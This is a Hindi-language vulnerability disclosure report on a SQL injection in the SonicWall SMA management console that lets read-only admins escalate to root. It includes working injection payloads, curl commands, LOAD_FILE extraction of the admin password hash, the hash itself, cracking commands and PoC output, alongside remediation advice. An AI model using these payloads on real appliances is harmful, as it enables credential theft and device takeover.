
SonicWall SMA1000 श्रृंखला उपकरणों में SQL कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित निष्प्रभावीकरण (“SQL इंजेक्शन”) एक दूरस्थ प्रमाणित हमलावर को केवल-पठन व्यवस्थापक विशेषाधिकारों के साथ प्राथमिक व्यवस्थापक तक विशेषाधिकार बढ़ाने की अनुमति देता है।
SonicWall SMA 8200v प्रबंधन कंसोल (पोर्ट 8443) में एक पोस्ट-प्रमाणीकरण ब्लाइंड SQL इंजेक्शन भेद्यता किसी भी प्रमाणित व्यवस्थापक — जिसमें कम-विशेषाधिकार वाले केवल-पठन खाते भी शामिल हैं — को उपकरण कॉन्फ़िगरेशन फ़ाइल से प्राथमिक व्यवस्थापक का SHA-512 पासवर्ड हैश निकालने की अनुमति देती है। चूंकि SonicWall प्रबंधन कंसोल व्यवस्थापक और ऑपरेटिंग सिस्टम रूट खाते दोनों के लिए समान क्रेडेंशियल का उपयोग करता है, इस हैश को क्रैक करने से उपकरण तक पूर्ण रूट-स्तरीय पहुंच प्राप्त होती है।
वर्गीकरण: विशेषाधिकार वृद्धि (कम-विशेषाधिकार व्यवस्थापक से रूट) CVSS 3.1: 7.2 (उच्च) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H हमले की जटिलता: कम (स्वचालित PoC ~60-90 मिनट में निष्कर्षण पूरा करता है) पूर्वापेक्षाएँ: कोई भी मान्य प्रबंधन कंसोल क्रेडेंशियल (केवल-पठन खातों सहित)
प्रबंधन कंसोल सक्रिय उपयोगकर्ता डैशबोर्ड के लिए SQL क्वेरीज़ com.aventail.mgmt.sql.Sql वर्ग में सहायक विधि safeParam() का उपयोग करके बनाता है। यह विधि एकल-उद्धरण (') और दोहरे-उद्धरण (") को दोगुना करके बचाती है, लेकिन यह बैकस्लैश वर्णों (\) को नहीं बचाती है।
MySQL/MariaDB में, बैकस्लैश स्ट्रिंग लिटरल के अंदर डिफ़ॉल्ट एस्केप वर्ण है। अनुक्रम \' डेटाबेस को स्ट्रिंग टर्मिनेटर के बजाय एकल-उद्धरण को शाब्दिक वर्ण के रूप में व्याख्या करने का कारण बनता है। इसका मतलब है कि पैरामीटर मान के अंत में एक बैकस्लैश एप्लिकेशन द्वारा जोड़े गए समापन उद्धरण को बच जाएगा, जिससे SQL स्ट्रिंग लिटरल आसन्न सिंटैक्स में विस्तारित हो जाएगा।
स्वच्छता अंतराल:```
Input: test
safeParam output: test\ (backslash NOT escaped)
In SQL: ... rt.name='test') AND (ct.name='...'
^^ backslash escapes the closing quote
The closing `'` after `test\` is consumed as a literal quote character within the string, so the SQL string literal extends across the `) AND (ct.name='` boundary and into the next parameter's value, where attacker-controlled SQL can be injected.
### 3.2 इंजेक्शन मैकेनिक्स: क्रॉस-पैरामीटर तकनीक
`activeUsers.action` एंडपॉइंट कई फ़िल्टर पैरामीटर स्वीकार करता है जिन्हें एक ही SQL WHERE क्लॉज़ में इंटरपोलेट किया जाता है। प्रासंगिक पैरामीटर `realmFilter` और `communityFilter` हैं, जो लगभग निम्नलिखित संरचना वाले क्वेरी में दिखाई देते हैं:```sql
SELECT ... FROM ...
WHERE ...
AND (rt.name='<realmFilter>')
AND (ct.name='<communityFilter>')
...
हमला पैरामीटर सेटअप:
| पैरामीटर | मान | उद्देश्य |
|---|---|---|
realmFilter | test\ | पीछे का बैकस्लैश समापन उद्धरण से बच निकलता है, स्ट्रिंग लिटरल को AND सीमा के पार विस्तारित करता है |
communityFilter | )) OR (SELECT IF(<condition>,SLEEP(N),0))-- x | खुले कोष्ठक बंद करता है, सशर्त SLEEP इंजेक्ट करता है, शेष भाग को कमेंट कर देता है |
इंटरपोलेशन के बाद परिणामी SQL:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')
इसे तोड़ते हुए:
1. `rt.name='test\')` — `\` `'` को एस्केप करता है, इसलिए स्ट्रिंग यहाँ बंद नहीं होती
2. `AND (ct.name='` — स्ट्रिंग वैल्यू का हिस्सा बन जाता है (शाब्दिक टेक्स्ट)
3. स्ट्रिंग अंततः अगले `'` पर बंद होती है (`communityFilter` की शुरुआत से)
4. `))` — WHERE क्लॉज़ संरचना के दो खुले पैरेंथेसिस बंद करता है
5. `OR (SELECT IF(...))` — ब्लाइंड SQLi कंडीशन इंजेक्ट करता है
6. `-- x` — बाकी SQL (`')` और अन्य क्लॉज़) को कमेंट कर देता है
### 3.3 टाइम-बेस्ड ब्लाइंड एक्सट्रैक्शन
चूँकि एप्लिकेशन का Struts 2 एरर हैंडलिंग SQL एक्सेप्शन को सुचारू रूप से पकड़ लेता है (क्वेरी सफल हो या विफल, हमेशा समान पेज कंटेंट के साथ HTTP 200 लौटाता है), एरर-बेस्ड और UNION-बेस्ड एक्सट्रैक्शन विधियाँ व्यवहार्य नहीं हैं। इंजेक्शन का शोषण टाइम-बेस्ड ब्लाइंड तकनीक का उपयोग करके किया जाता है:
- **TRUE कंडीशन:** `IF(<condition>, SLEEP(N), 0)` — रिस्पॉन्स में SLEEP अवधि को रिज़ल्ट सेट की पंक्ति संख्या से गुणा करके देरी होती है
- **FALSE कंडीशन:** कोई SLEEP नहीं — रिस्पॉन्स ~200-500ms में लौटता है
SLEEP फ़ंक्शन WHERE क्लॉज़ मूल्यांकन में प्रति-पंक्ति निष्पादित होता है। 30-300+ पंक्तियों वाली एक सामान्य मॉनिटरिंग टेबल के साथ, एक छोटा SLEEP मान (जैसे, 0.3s) भी स्पष्ट रूप से पहचाने जाने योग्य देरी उत्पन्न करता है (TRUE के लिए 10-100s बनाम FALSE के लिए <1s)।
लक्ष्य डेटा का प्रत्येक कैरेक्टर ASCII रेंज पर बाइनरी सर्च के माध्यम से निकाला जाता है:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>
इसके लिए प्रति कैरेक्टर अधिकतम 7 अनुरोधों की आवश्यकता होती है (log2(128) = 7), जिससे 98-कैरेक्टर SHA-512 हैश के लिए कुल ~686 अनुरोध प्राप्त होते हैं।
PRIVILEGE ESCALATION CHAIN
============================================================================
[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover
### 4.2 चरण 1: प्रमाणीकरण
SMA प्रबंधन कंसोल दो प्रमाणीकरण क्षेत्रों (realms) का समर्थन करता है:
| Realm ID | प्रदर्शन नाम | उपयोगकर्ता |
|----------|-------------|-------|
| *(खाली)* | प्रबंधन कंसोल | केवल प्राथमिक व्यवस्थापक खाता |
| `AMCAuthRealm` / `Local Authentication` | स्थानीय प्रमाणीकरण | द्वितीयक व्यवस्थापक खाते (readonly, custom) |
हमले के लिए केवल प्रबंधन कंसोल पहुंच वाले **किसी भी** खाते के लिए एक वैध क्रेडेंशियल की आवश्यकता होती है। "readonly" खाता — जो केवल निगरानी-पहुंच के लिए बनाया गया है और इसमें कॉन्फ़िगरेशन बदलने की कोई क्षमता नहीं है — पर्याप्त है।
प्रमाणीकरण J2EE FORM-आधारित प्रमाणीकरण के माध्यम से किया जाता है:
1. `GET /console.action` — लॉगिन पृष्ठ प्राप्त करता है, छिपे हुए फ़ॉर्म फ़ील्ड से CSRF टोकन निकालता है
2. `POST /j_security_check` — `csrfToken`, `j_username`, `j_password`, और `realmId` सबमिट करता है
3. सफलता पर HTTP 303 रीडायरेक्ट, `JSESSIONID` कुकी स्थापित होती है
### 4.3 चरण 2: SQL इंजेक्शन
प्रमाणीकरण के बाद, हमलावर क्रॉस-पैरामीटर इंजेक्शन के साथ `/activeUsers.action` पर एक POST अनुरोध भेजता है:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded
realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter
बिना शर्त IF(1=1, SLEEP(0.3), 0) HTTP प्रतिक्रिया में मापने योग्य देरी देखकर यह सत्यापित करता है कि इंजेक्शन कार्यात्मक है।
MariaDB डेटाबेस OS उपयोगकर्ता DbAdmin (uid=1001, gid=500 aventail) के अंतर्गत चलता है। इस डेटाबेस उपयोगकर्ता के पास ALL PRIVILEGES ON *.* WITH GRANT OPTION है, जिसमें LOAD_FILE() के लिए आवश्यक FILE विशेषाधिकार भी शामिल है।
एक महत्वपूर्ण निष्कर्ष: MariaDB कॉन्फ़िगरेशन सेटिंग secure_file_priv = NULL (जो INTO OUTFILE और INTO DUMPFILE लेखन संचालन को अवरुद्ध करती है) के बावजूद, फ़ाइलों को पढ़ने के लिए LOAD_FILE() फ़ंक्शन पूरी तरह से कार्यशील बना रहता है। यह एक प्रलेखित लेकिन कम समझा जाने वाला MariaDB व्यवहार है — secure_file_priv=NULL फ़ाइल लेखन पथों को प्रतिबंधित करता है लेकिन जब उपयोगकर्ता के पास FILE विशेषाधिकार होता है तो फ़ाइल पठन को अक्षम नहीं करता।
लक्ष्य कॉन्फ़िगरेशन फ़ाइल /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml mgmt-server:aventail के स्वामित्व में है जिसकी अनुमतियाँ 664 (rw-rw-r--) हैं। चूँकि DbAdmin OS उपयोगकर्ता aventail समूह में है, LOAD_FILE() इस फ़ाइल को पढ़ सकता है।
ब्लाइंड SQLi के माध्यम से सत्यापन:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable
### 4.5 चरण 4: avconfig.xml में एडमिन हैश का पता लगाना
`avconfig.xml` फ़ाइल (~98KB) उपकरण का मास्टर कॉन्फ़िगरेशन स्टोर है। इसमें `<password>` XML तत्वों के भीतर SHA-512 crypt प्रारूप में सभी उपयोगकर्ता क्रेडेंशियल शामिल होते हैं। प्राथमिक एडमिन हैश एक `<credentials_item>` ब्लॉक में स्थित होता है, जो एक `<consoleMode>` तत्व के पास होता है जो एडमिन अनुभाग के लिए अद्वितीय है।
हार्डकोडेड बाइट ऑफसेट पर निर्भर रहने के बजाय (जो एडमिन अनुभाग के ऊपर कॉन्फ़िगरेशन बदलने पर टूट जाएगा), निष्कर्षण हैश को गतिशील रूप से खोजने के लिए MySQL स्ट्रिंग फ़ंक्शन का उपयोग करता है:```sql
SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE(<path>),
LOCATE('<password>', LOAD_FILE(<path>),
LOCATE('consoleMode', LOAD_FILE(<path>))
) + 10, -- skip past '<password>' tag (10 chars)
120 -- max SHA-512 crypt length
),
'<', -- trim at '</password>' closing tag
1
)
तर्क:
LOCATE('consoleMode', file) — consoleMode स्ट्रिंग का बाइट ऑफ़सेट ढूँढता है, जो एडमिन कॉन्फ़िगरेशन सेक्शन से जुड़ा होता हैLOCATE('<password>', file, anchor_offset) — उस एंकर के बाद पहला <password> टैग ढूँढता हैSUBSTRING(file, tag_offset + 10, 120) — हैश मान निकालता है (10-अक्षर वाले <password> टैग को छोड़कर)SUBSTRING_INDEX(result, '<', 1) — </password> क्लोज़िंग टैग पर ट्रिम करता हैयह दृष्टिकोण स्थिति-स्वतंत्र है और फ़ाइल में अन्यत्र कॉन्फ़िगरेशन परिवर्तनों के प्रति लचीला है। पूरी अभिव्यक्ति MySQL हेक्स लिटरल (0x...) का उपयोग करके एन्कोड की गई है ताकि इंजेक्शन संदर्भ में कोटिंग समस्याओं से बचा जा सके।
हैश का प्रत्येक कैरेक्टर बाइनरी सर्च के माध्यम से निकाला जाता है:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),
, 1)) > , SLEEP(0.3), 0)
बाइनरी खोज हर अनुरोध के साथ ASCII रेंज [0, 127] को आधा कर देती है:
| चरण | रेंज | परीक्षण | परिणाम |
|------|-------|------|--------|
| 1 | [0, 127] | > 63? | TRUE → [64, 127] |
| 2 | [64, 127] | > 95? | FALSE → [64, 95] |
| 3 | [64, 95] | > 79? | FALSE → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | अभिसरित | वर्ण = chr(n) |
ज्ञात एडमिन हैश (`$6$WHTK8ybQ$MchVNW...`) के लिए, सभी 98 वर्णों का निष्कर्षण लगभग 686 HTTP अनुरोधों की आवश्यकता होती है।
### 4.7 चरण 6: हैश क्रैकिंग
निकाला गया हैश मानक SHA-512 crypt प्रारूप में है:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| फ़ील्ड | मान |
|---|---|
| एल्गोरिदम | — SHA-512 crypt |
hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
### 4.8 चरण 7: पूर्ण समझौता
SonicWall SMA आर्किटेक्चर प्रबंधन कंसोल के एडमिन पासवर्ड को OS रूट पासवर्ड के रूप में उपयोग करता है। यह एक डिज़ाइन निर्णय है — जब एडमिन पासवर्ड प्रबंधन कंसोल के माध्यम से सेट या बदला जाता है, तो इसे वेब इंटरफ़ेस और अंतर्निहित Linux रूट खाते दोनों पर लागू किया जाता है। इसलिए, एडमिन हैश को क्रैक करने से निम्नलिखित मिलता है:
- **प्रबंधन कंसोल (पोर्ट 8443):** सभी कॉन्फ़िगरेशन, नीतियों, उपयोगकर्ता प्रबंधन और निगरानी तक पूर्ण प्रशासनिक पहुंच
- **SSH (पोर्ट 22):** अंतर्निहित Debian Linux ऑपरेटिंग सिस्टम तक रूट शेल पहुंच
- **सीरियल कंसोल:** भौतिक/आउट-ऑफ-बैंड पहुंच के लिए रूट लॉगिन
---
## 5. योगदान करने वाले कारक
कई आर्किटेक्चरल निर्णय मिलकर इस भेद्यता को शोषण योग्य बनाते हैं:
### 5.1 अपूर्ण SQL सैनिटाइज़ेशन
`com.aventail.mgmt.sql.Sql` में `safeParam()` विधि उद्धरणों को एस्केप करती है लेकिन बैकस्लैश को नहीं। यह SQL इंजेक्शन का एक प्रसिद्ध वर्ग है — MySQL का बैकस्लैश एस्केप व्यवहार 2000 के दशक की शुरुआत से एक सुरक्षा चिंता के रूप में प्रलेखित किया गया है। समाधान तुच्छ है: या तो बैकस्लैश को एस्केप करें (`\` → `\\`), या `NO_BACKSLASH_ESCAPES` SQL मोड सेट करें, या पैरामीटराइज़्ड क्वेरी का उपयोग करें।
### 5.2 अत्यधिक विशेषाधिकार प्राप्त डेटाबेस उपयोगकर्ता
MariaDB `DbAdmin` उपयोगकर्ता `ALL PRIVILEGES ON *.* WITH GRANT OPTION` के साथ चलता है। यह एप्लिकेशन की आवश्यकता से कहीं अधिक क्षमताएं प्रदान करता है, जिनमें शामिल हैं:
- `FILE` विशेषाधिकार (LOAD_FILE, INTO OUTFILE)
- `SUPER` विशेषाधिकार
- `GRANT OPTION` (नए सुपरयूज़र खाते बना सकता है)
एप्लिकेशन को केवल अपने स्वयं के डेटाबेस पर SELECT/INSERT/UPDATE/DELETE की आवश्यकता है। अत्यधिक विशेषाधिकार SQL इंजेक्शन को डेटा निष्कर्षण से मनमाने फ़ाइल पढ़ने/लिखने में बदल देते हैं।
### 5.3 secure_file_priv गलत कॉन्फ़िगरेशन
जबकि `secure_file_priv = NULL` फ़ाइल **लिखने** के संचालन (`INTO OUTFILE`, `INTO DUMPFILE`) को अवरुद्ध करता है, यह फ़ाइल **पढ़ने** के संचालन (`LOAD_FILE()`) को **नहीं** रोकता है। यह एक प्रलेखित MariaDB व्यवहार है जिसे अक्सर गलत समझा जाता है। प्रशासक और डेवलपर्स अक्सर मानते हैं कि `secure_file_priv = NULL` सभी फ़ाइल I/O को अक्षम कर देता है, लेकिन यह केवल लिखने के पथ को प्रतिबंधित करता है।
`LOAD_FILE()` को पूरी तरह से अक्षम करने के लिए, डेटाबेस उपयोगकर्ता से `FILE` विशेषाधिकार रद्द किया जाना चाहिए:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';
सभी पासवर्ड हैश वाली avconfig.xml फ़ाइल mgmt-server:aventail के स्वामित्व में मोड 664 के साथ है। aventail समूह में DbAdmin OS उपयोगकर्ता शामिल है (जिसके अंतर्गत MariaDB चलता है)। इसका मतलब है कि डेटाबेस प्रक्रिया उपकरण की मास्टर कॉन्फ़िगरेशन फ़ाइल को पढ़ सकती है, जिसमें सभी संग्रहीत क्रेडेंशियल शामिल हैं।
एक अधिक प्रतिबंधात्मक अनुमति मॉडल (जैसे, mgmt-server:mgmt-server के स्वामित्व वाला मोड 600, या हैश को एक समर्पित सीक्रेट्स फ़ाइल में संग्रहीत करना जो केवल प्रबंधन एप्लिकेशन द्वारा पठनीय हो) FILE विशेषाधिकार होने पर भी LOAD_FILE() को हैश तक पहुँचने से रोक देगा।
प्रबंधन कंसोल एडमिन और OS रूट खाते के लिए समान पासवर्ड उपयोग करने का डिज़ाइन निर्णय यह सुनिश्चित करता है कि एप्लिकेशन परत से एडमिन हैश निकालने पर सीधे ऑपरेटिंग सिस्टम रूट एक्सेस प्राप्त होता है। यह वेब एप्लिकेशन टियर और अंतर्निहित ऑपरेटिंग सिस्टम के बीच किसी भी सीमा को समाप्त कर देता है।
"readonly" प्रबंधन कंसोल भूमिका कॉन्फ़िगरेशन परिवर्तन क्षमता के बिना केवल मॉनिटरिंग एक्सेस प्रदान करने के लिए है। हालाँकि, activeUsers.action एंडपॉइंट भूमिका की परवाह किए बिना सभी प्रमाणित उपयोगकर्ताओं के लिए फ़िल्टर पैरामीटर को समान रूप से संसाधित करता है। रीड-ओनली खाता प्राथमिक एडमिन के समान SQL इंजेक्शन निष्पादित कर सकता है, क्योंकि कमज़ोरी डेटा पुनर्प्राप्ति पथ (सक्रिय उपयोगकर्ताओं की सूची/फ़िल्टरिंग) में है, न कि कॉन्फ़िगरेशन परिवर्तन पथ में।
एक पूर्णतः स्वचालित शोषण टूल विकसित किया गया और लाइव लक्ष्य के विरुद्ध मान्य किया गया।
उपयोग (readonly खाता — विशेषाधिकार वृद्धि सिद्ध करना):```bash
python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v
**निष्पादन चरण:**
1. **चरण 1: प्रमाणीकरण** — निर्दिष्ट क्रेडेंशियल्स और realm के साथ लॉगिन करता है, JSESSIONID प्राप्त करता है
2. **चरण 2: सत्यापन** — पुष्टि करता है कि SQLi कार्यात्मक है (SLEEP टाइमिंग), LOAD_FILE avconfig.xml पढ़ सकता है, और एडमिन हैश एंकर मौजूद है
3. **चरण 3: निष्कर्षण** — बाइनरी सर्च पूर्ण SHA-512 हैश को कैरेक्टर दर कैरेक्टर निकालता है
4. **चरण 4: आउटपुट** — हैश को hashcat-तैयार प्रारूप में लिखता है और क्रैकिंग कमांड प्रिंट करता है
**देखा गया आउटपुट:**```
[*] Target: 10.10.10.35:8443
[*] User: readonly
[*] Realm: Local Authentication
[*] Phase 1: Authenticating to admin console...
[+] Authentication successful
[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml
[*] Phase 3: Extracting admin password hash...
Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...
इंजेक्शन को PoC टूल के बिना भी मैन्युअल रूप से सत्यापित किया जा सकता है:```bash
curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken
curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"
time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"
### 6.3 MySQL CLI के माध्यम से प्रत्यक्ष SQL सत्यापन
रूट SSH एक्सेस के साथ, SQL निष्कर्षण अभिव्यक्ति को सीधे सत्यापित किया जा सकता है:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248
-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
SUBSTRING(
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('<password>',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
LOCATE('consoleMode',
LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
)
) + 10,
120
),
'<',
1
) AS admin_hash;
-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
| प्रभाव | विवरण |
|---|---|
| गोपनीयता | aventail समूह द्वारा पठनीय सभी फाइलों तक पूर्ण पढ़ने की पहुंच, जिसमें कॉन्फ़िगरेशन फाइलें, क्रेडेंशियल, प्रमाणपत्र और कुंजियाँ शामिल हैं |
| अखंडता | हैश क्रैकिंग के बाद: पूर्ण एडमिन कंसोल पहुंच मनमाने कॉन्फ़िगरेशन परिवर्तन, नीति संशोधन और उपयोगकर्ता प्रबंधन को सक्षम बनाती है |
परिदृश्य 1: आंतरिक खतरा / न्यूनतम विशेषाधिकार उल्लंघन वैध निगरानी पहुंच वाला केवल-पठनीय एडमिनिस्ट्रेटर (SOC विश्लेषक, ऑडिटर, जूनियर इंजीनियर) सभी भूमिका-आधारित पहुंच नियंत्रणों को दरकिनार करते हुए पूर्ण एडमिन/रूट तक पहुंच बढ़ा लेता है।
परिदृश्य 2: क्रेडेंशियल समझौता वृद्धि कोई भी प्रबंधन कंसोल क्रेडेंशियल प्राप्त करने वाला हमलावर (फ़िशिंग, क्रेडेंशियल स्टफिंग, डिफ़ॉल्ट पासवर्ड) समझौता किए गए खाते के इच्छित विशेषाधिकार स्तर की परवाह किए बिना रूट तक पहुंच बढ़ा सकता है।
परिदृश्य 3: नेटवर्क पिवट SMA उपकरण तक रूट पहुंच नेटवर्क किनारे पर एक स्थायी पैर जमाने प्रदान करती है। हमलावर VPN ट्रैफ़िक को इंटरसेप्ट कर सकता है, रूटिंग संशोधित कर सकता है, आंतरिक नेटवर्क खंडों तक पहुंच सकता है, और कॉन्फ़िगरेशन से सभी VPN उपयोगकर्ता क्रेडेंशियल निकाल सकता है।
पैरामीटराइज़्ड क्वेरीज़: प्रबंधन कंसोल की SQL परत में safeParam() में स्ट्रिंग इंटरपोलेशन को प्रीपेयर्ड स्टेटमेंट / पैरामीटराइज़्ड क्वेरीज़ से बदलें। यह वर्ण एस्केपिंग की परवाह किए बिना इंजेक्शन को समाप्त करता है।
FILE विशेषाधिकार रद्द करें: DbAdmin डेटाबेस उपयोगकर्ता से FILE विशेषाधिकार हटाएँ: ```sql
REVOKE FILE ON . FROM 'DbAdmin'@'localhost';
FLUSH PRIVILEGES;
डेटाबेस विशेषाधिकार प्रतिबंधित करें: DbAdmin पर न्यूनतम-विशेषाधिकार लागू करें — केवल उन विशिष्ट डेटाबेसों (monitoring, scheduler, troubleshooting) पर SELECT, INSERT, UPDATE, DELETE अनुदान दें जिनकी एप्लिकेशन को आवश्यकता है।
avconfig.xml अनुमतियाँ प्रतिबंधित करें: डेटाबेस उपयोगकर्ता को कॉन्फ़िगरेशन पढ़ने से रोकने के लिए फ़ाइल स्वामित्व और अनुमतियाँ बदलें: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
एडमिन और रूट क्रेडेंशियल अलग करें: प्रबंधन कंसोल एडमिन पासवर्ड को OS रूट पासवर्ड से अलग करें। स्वतंत्र परिवर्तन/रोटेशन तंत्र वाले अलग-अलग क्रेडेंशियल का उपयोग करें।
रोल-आधारित एंडपॉइंट एक्सेस: activeUsers.action एंडपॉइंट (और अन्य सभी डेटा-क्वेरी एंडपॉइंट) को केवल UI/मेनू स्तर पर नहीं, बल्कि एप्लिकेशन परत पर उपयोगकर्ता की भूमिका के आधार पर प्रतिबंधित करें।
SQL मोड सख्तीकरण: बैकस्लैश एस्केप व्याख्या को वैश्विक रूप से अक्षम करने के लिए MariaDB कॉन्फ़िगरेशन में NO_BACKSLASH_ESCAPES सेट करें: ```ini
[mysqld]
sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES
हैश भंडारण पृथक्करण: पासवर्ड हैश को मुख्य XML कॉन्फ़िगरेशन फ़ाइल के बजाय एक समर्पित फ़ाइल या डेटाबेस तालिका में संग्रहीत करें, जो सामान्य एप्लिकेशन डेटाबेस उपयोगकर्ता के लिए सुलभ न हो।
LOAD_FILE() के लिए FILE विशेषाधिकार आवश्यक है; secure_file_priv SELECT ... INTO को प्रतिबंधित करता है लेकिन LOAD_FILE() को नहींNO_BACKSLASH_ESCAPES सेट नहीं होता है, तो स्ट्रिंग लिटरल में \ को एस्केप कैरेक्टर के रूप में माना जाता है$6$ उपसर्ग, कॉन्फ़िगर करने योग्य राउंड (डिफ़ॉल्ट 5000), 86-वर्ण Base64 हैश आउटपुट$6$)| घटक | विवरण |
|---|
| प्लेटफ़ॉर्म | SonicWall SMA 8200v (वर्चुअल उपकरण) |
| फर्मवेयर | 12.5.0-02283 (पुष्टि); संभवतः सभी 12.x |
| सेवा | प्रबंधन कंसोल — Jetty + Struts 2 (पोर्ट 8443) |
| एंडपॉइंट | POST /activeUsers.action |
| भेद्य पैरामीटर | realmFilter, communityFilter (क्रॉस-पैरामीटर) |
| मूल कारण वर्ग | com.aventail.mgmt.sql.Sql.safeParam() |
| डेटाबेस | MariaDB 10.11.14, उपयोगकर्ता DbAdmin (ALL PRIVILEGES + FILE) |
| लक्ष्य फ़ाइल | /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml |
$6$| सॉल्ट | WHTK8ybQ |
| राउंड | 5000 (डिफ़ॉल्ट, निर्दिष्ट नहीं) |
| हैशकैट मोड | 1800 |
| जॉन फ़ॉर्मेट | sha512crypt |
| उपलब्धता | रूट पहुंच सेवा विघटन, डेटा विनाश या डिवाइस को स्थायी रूप से अनुपयोगी बनाने को सक्षम बनाती है |
| दिनांक | घटना |
|---|
| 2026-02-24 | safeParam() के स्थैतिक विश्लेषण के माध्यम से क्रॉस-पैरामीटर SQLi की पहचान |
| 2026-02-24 | एडमिन सत्र (SLEEP टाइमिंग) के साथ ब्लाइंड SQLi की पुष्टि |
| 2026-02-25 | रीडओनली खाते के साथ SQLi की पुष्टि (विशेषाधिकार वृद्धि वेक्टर) |
| 2026-02-25 | secure_file_priv=NULL के बावजूद LOAD_FILE() के कार्यशील होने की पुष्टि |
| 2026-02-25 | avconfig.xml को एडमिन/रूट हैश के साथ क्रेडेंशियल स्टोर के रूप में पहचाना गया |
| 2026-02-25 | MySQL CLI के माध्यम से SQL निष्कर्षण अभिव्यक्ति का सत्यापन |
| 2026-02-25 | PoC टूल (sma_admin_hash_poc.py) के साथ पूर्ण स्वचालित निष्कर्षण की पुष्टि |
| 2026-02-25 | विशेषाधिकार वृद्धि श्रृंखला का सत्यापन: रीडओनली -> एडमिन/रूट हैश |